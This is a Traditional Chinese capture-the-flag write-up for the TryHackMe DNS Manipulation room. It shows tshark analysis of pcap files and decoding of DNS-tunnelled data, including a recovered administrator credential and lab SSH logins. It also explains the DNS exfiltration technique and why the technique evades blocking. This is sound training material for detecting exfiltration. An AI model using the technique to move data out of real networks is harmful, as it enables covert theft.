> ## Content Index
> Fetch the complete content index at: https://taiwanding.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# TryHackMe DNS Manipulation Writeup (zh-TW)
- URL: https://taiwanding.com/tryhackme-dns-manipulation-writeup-zh-tw/
- Published: 2025-10-07T08:34:14.000Z
- Updated: 2026-07-15T02:49:54.000Z
- Author: Kevin Chen
- Tags: tryhackme, #dns

## **題目資訊**

- **平台**: TryHackMe
- **難度**: Easy
- **題目連結**: https://tryhackme.com/room/dnsmanipulation
- 備註: Infiltration的部分，因為作者遇到一些狀況，所以是參考其他人的writeup

```bash
nslookup -type=txt code.badbaddoma.in
Server:         10.201.0.2
Address:        10.201.0.2#53

** server can't find code.badbaddoma.in: NXDOMAIN
```

[【THM】DNS Manipulation(操纵DNS进行数据渗透)-学习 - Hekeatsll - 博客园本文相关的TryHackMe实验房间链接：https://tryhackme.com/room/dnsmanipulation 本文相关内容：介绍一些基于DNS的数据渗透技术，包括数据渗出和数据渗入。 简介 在本文中，我们将研究DNS服务并简单了解一些用于针对目标机来渗出和渗入数据的技术。 首先，我![](https://taiwanding.com/content/images/icon/favicon_v3_2.ico)博客园Hekeatsll![](https://taiwanding.com/content/images/thumbnail/logo.svg)](https://www.cnblogs.com/Hekeats-L/p/17610419.html?ref=taiwanding.com)

## **環境設定**

### **連接目標機器**

```bash
ssh user@10.201.43.141
# 密碼: P@ssword01

```

### **工具準備**

```bash
# 所需工具已預裝在目標機器
cd ~/dns-exfil-infil/
ls -la

# 主要工具
packety.py          # DNS 外洩發送端
packetyGrabber.py   # DNS 外洩接收端/解碼工具

```

## **理論基礎**

### **DNS Exfiltration 原理**

DNS 資料外洩利用 DNS 查詢來傳輸資料：

```
正常 DNS 查詢:
google.com → 查詢 IP

惡意 DNS 查詢（外洩資料）:
[編碼資料].attacker.com → 將資料嵌入子域名

```

### **為什麼有效？**

```
✅ DNS 是必要服務，無法封鎖
✅ Port 53 通常被允許
✅ 混在正常流量中，難以偵測
✅ 可編碼大量資料

```

## **挑戰 1: orderlist**

### **目標**

解碼被外洩的訂單資料

### **步驟 1: 查看任務**

```bash
cd ~/challenges/exfiltration/orderlist/
cat TASK

```

### **步驟 2: 分析 DNS 查詢**

```bash
# 查看所有 DNS 查詢
tshark -r order.pcap -T fields -e dns.qry.name

# 統計並排序
tshark -r order.pcap -T fields -e dns.qry.name | sort | uniq -c | sort -nr

```

**發現可疑域名:**

```
badbaddoma.in

大量隨機子域名：
├─ uggjU4KyhVyWxVwUo6opxqj.badbaddoma.in
├─ u1YfpFPK9dUeX31JdGGdzpm.badbaddoma.in
└─ ... (更多)

```

### **步驟 3: 解碼資料**

```bash
python3 ~/dns-exfil-infil/packetyGrabber.py

# 輸入:
File captured: order.pcap
Filename output: decoded.txt
Domain Name: badbaddoma.in

```

### **步驟 4: 查看解碼結果**

```bash
cat decoded.txt

```

**輸出:**

```
DATE    ORDER-ID        TRANSACTION     PRICE      CODE
01-06      1            Network Equip.  $2349.99    -
01-09      2            Software Licen. $1293.49    -
01-11      3            Physical Secur. $7432.79    -
02-06      4            SENT TO #1056.. $15040.23   -
02-06      5            1M THM VOUCHER  $10        zSiSeC
02-06      6            Firewall        $2500

```

### **答案**

1. **ORDER-ID 1 的 Transaction name**: `Network Equip.`
2. **Firewall 的價格**: `2500`

## **挑戰 2: identify**

### **目標**

從三個 pcap 檔案中找出包含可疑 DNS 查詢的檔案

### **步驟 1: 查看任務**

```bash
cd ~/challenges/exfiltration/identify/
cat TASK
ls -la

```

**可用檔案:**

```
cap1.pcap
cap2.pcap
cap3.pcap

```

### **步驟 2: 分析每個檔案**

```bash
# 檢查 cap1.pcap
tshark -r cap1.pcap -T fields -e dns.qry.name | sort | uniq -c | sort -nr

# 檢查 cap2.pcap
tshark -r cap2.pcap -T fields -e dns.qry.name | sort | uniq -c | sort -nr

# 檢查 cap3.pcap
tshark -r cap3.pcap -T fields -e dns.qry.name | sort | uniq -c | sort -nr

```

**發現:**

```
cap3.pcap 包含大量 badbaddoma.in 的查詢
└─ 隨機子域名模式與 orderlist 相同

```

### **步驟 3: 解碼 cap3.pcap**

```bash
python3 ~/dns-exfil-infil/packetyGrabber.py

# 輸入:
File captured: cap3.pcap
Filename output: decoded2.txt
Domain Name: badbaddoma.in

```

### **步驟 4: 查看結果**

```bash
cat decoded2.txt

```

**輸出:**

```
administrator:s3cre7P@ssword

```

### **答案**

1. **包含可疑 DNS 查詢的檔案**: `cap3.pcap`
2. **解碼後的明文**: `administrator:s3cre7P@ssword`

## **技術要點總結**

### **packetyGrabber.py 運作原理**

```
步驟 1: 從 .pcap 提取 DNS 查詢
└─ 過濾指定域名的查詢

步驟 2: 提取子域名
└─ uggjU4KyhVyWxVwUo6opxqj.badbaddoma.in
    └───────┬────────┘
        編碼資料

步驟 3: 移除混淆字元
└─ 前後各有假字元需移除

步驟 4: Base58 解碼
└─ 還原為 Base64 字串

步驟 5: Base64 解碼
└─ 還原為原始資料

步驟 6: 輸出到檔案

```

## 經驗分享

### **關於packetyGrabber.py**

- **作者**: kleosdc
- **來源**: https://github.com/kleosdc/dns-exfil-infil
- **用途**: 教學專用的 DNS 外洩解碼工具
- **功能**:
  - 提取 pcap 中的 DNS 查詢
  - Base58/Base64 雙重解碼
  - 自動重組分割資料

**注意**: 最後的 Exception 是正常的，可忽略